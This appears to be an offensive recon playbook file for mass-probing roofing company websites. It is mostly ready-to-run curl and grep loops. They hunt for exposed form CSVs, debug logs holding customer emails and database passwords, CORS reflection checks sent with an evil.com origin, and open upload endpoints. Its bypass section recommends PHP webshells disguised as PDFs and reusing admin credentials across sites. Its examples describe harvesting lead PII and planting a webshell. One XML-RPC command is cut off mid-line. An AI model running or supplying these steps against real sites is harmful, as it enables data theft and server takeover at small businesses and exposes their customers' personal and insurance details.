recon-roofing

name	recon-roofing
description	Sector-specific recon for roofing company websites — roof repair, replacement, inspection, storm damage. Typically WordPress or custom PHP on shared hosting with project galleries, insurance claim assistance pages, and estimate request forms.
sources	field_recon, sector_mass_recon
report_count	6

RECON-ROOFING — Sector-Specific Recon for Roofing Company Sites

When to Use

Use when the target scope includes roofing, roof repair, roof replacement, or storm damage restoration company domains. Roofing companies are a high-value subsector due to: large project values ($10K-$50K+ per job), insurance claim handling (which means PII processing), seasonal advertising spend that attracts SEO agencies building quick-and-dirty WP sites, and heavy reliance on contact-form-generated leads stored on the server.

Quick Reference

for t in $(cat roofing-targets.txt); do
  echo "=== $t ==="
  curl -skI "https://$t/" | grep -iE "wordpress|php|wp-"
  curl -sk -o /dev/null -w "%{http_code}" "https://$t/wp-content/debug.log"
  curl -sk -o /dev/null -w "%{http_code}" "https://$t/wp-content/uploads/"
  curl -skI "https://$t/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -i "access-control"
  curl -sk -o /dev/null -w "%{http_code}" "https://$t/xmlrpc.php"
  echo "---"
done

Step-by-Step

Phase 1 — Domain Discovery

# Common patterns: <city>roofing.com, <name>roofingco.com, <area>roofrepair.com
# Storm-chaser companies: <city>stormrestoration.com, <city>haildamage.com
curl -sk "https://crt.sh/?q=%25.$TARGET&output=json" | python3 -c "
import sys, json
try:
    data = json.load(sys.stdin)
    domains = sorted(set(d['name_value'] for d in data))
    for d in domains: print(d)
except: pass
" | tee roofing-subdomains-$TARGET.txt

Phase 2 — WordPress Recon + Contact Form PII Discovery

# Contact form directory listing (roofing companies capture leads through forms)
for path in /wp-content/uploads/wpforms/ /wp-content/uploads/formidable/ \
  /wp-content/uploads/fluentform/ /wp-content/uploads/gravity_forms/ \
  /wp-content/uploads/cf7_uploads/ /wp-content/uploads/bookly/; do
  body=$(curl -sk "https://$TARGET$path" 2>/dev/null)
  if echo "$body" | grep -q "Index of"; then
    echo "[!!!] DIR LISTING: $path"
    echo "$body" | grep -oP 'href="[^"]+\.(csv|xlsx|txt|pdf)"' | head -20
  fi
done

# CORS on REST API
curl -skI "https://$TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com"

# Debug log with customer PII
curl -sk "https://$TARGET/wp-content/debug.log" -o /tmp/roof_debug.log 2>/dev/null
if [ -s /tmp/roof_debug.log ]; then
  grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' /tmp/roof_debug.log | sort -u | head -20
  grep -oP '(DB_PASSWORD|DB_USER|DB_NAME).{0,80}' /tmp/roof_debug.log | head -10
fi

# XMLRPC check (often used for lead management tools)
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' | \
  python3 -c 

Phase 3 — Insurance Claim Page Recon

# Roofing companies often have insurance claim assistance pages
for path in /insurance /insurance-claims /storm-damage /hail-damage /claim-assistance /file-claim; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$code" != "404" ] && echo "[+] Insurance page: $path (HTTP $code)"
done

# Look for file upload features (insurance document upload)
for path in /upload /uploads /documents /file-upload /claim-upload; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$code" != "404" ] && echo "[+] Upload endpoint: $path (HTTP $code)"
done

Attack Surface Signals

• CMS: WordPress (dominant), custom PHP
• Hosting: Shared hosting, GoDaddy/HostGator aggressive SEO partner hosting
• Stack: PHP + MySQL, Contact form plugins (WPForms, Gravity Forms), Project galleries, Online estimation
• Typical findings: Contact form CSV/PII exposure, Debug log with SQL queries, CORS credential reflection, Directory listing of estimates/proposals

Common Root Causes

1. SEO agency-built sites — built by marketing agencies focused on rankings, not security
2. Lead capture forms with CSV export — form entries stored in upload dirs as CSV with names, addresses, phone numbers
3. Insurance document upload features — often built with file upload plugins without validation
4. Storm-chaser popup sites — built quickly after natural disasters, zero security

Bypass Techniques

• Insurance claim document upload endpoints often accept any file type — test PHP shells disguised as PDF
• Lead capture form CSV exports are often at predictable paths: /wp-content/uploads/wpforms/*.csv with sequential names
• Storm-chaser popup sites frequently reuse the same agency template — check for /.git/ or /wp-config.php.bak on urgency-built sites
• Proposal PDFs sometimes have sequential invoice numbers — iterate /wp-content/uploads/2026/06/proposal-001.pdf
• Free estimate forms may store submissions as JSON files in upload directories
• Same agency builds dozens of roofing sites — test for identical admin credentials across multiple targets

Real Examples

From cross-sector mass recon observation:

• A roofing company had WPForms CSV export files at /wp-content/uploads/wpforms/ with 200+ lead submissions including names, addresses, phone numbers, and insurance claim details
• Another roofer had debug.log with 1.5MB of SQL queries exposing customer PII and database credentials in plaintext
• A storm damage restoration company left PHPInfo at /info.php showing disable_functions = empty (exec, shell_exec, system ALL available)
• A roofing company's insurance document upload feature at /claim-upload accepted PHP files — a webshell was uploaded via filename shell.php.jpg with Content-Type: application/pdf

Related Skills

• recon-smb-services — broader SMB recon methodology
• hunt-wordpress — primary CMS for roofing sites
• hunt-cors — CORS credential reflection
• hunt-source-leak — debug.log, config backups
• hunt-file-upload — insurance document uploads
• hunt-lfi — file inclusion via plugins